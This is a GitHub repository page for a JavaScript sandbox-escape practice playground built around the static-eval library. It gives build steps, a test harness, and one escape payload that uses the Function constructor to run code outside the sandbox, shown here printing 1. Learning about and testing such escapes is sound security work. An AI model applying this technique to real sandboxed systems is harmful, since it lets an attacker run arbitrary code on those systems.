Skip to content

rhpco/JS-Sandbox-Escape-Playground

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 

Repository files navigation

JS Sandbox Escape - Playground

This Playground is based on different JS Sandbox technique and it is useful to improve Sandbox escaping technique in JS context.

static-eval

Build

cd static-eval/
npm install

Test Case

$ cat eval.js 
var evaluate = require('../index.js');
var parse = require('esprima').parse;

var src = process.argv.slice(2).join(' ');
var ast = parse(src).body[0].expression;

console.log(evaluate(ast));

Normal Sandboxed Execution

  • math
node eval.js '1+1'
2

  • console.log
node eval.js 'console.log(1)'
undefined

Sandbox Escape Exploit Example

  • console.log
node eval.js '(function () {}).constructor("console.log(1)")()'
1

About

JS Sandbox Escape Playground

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published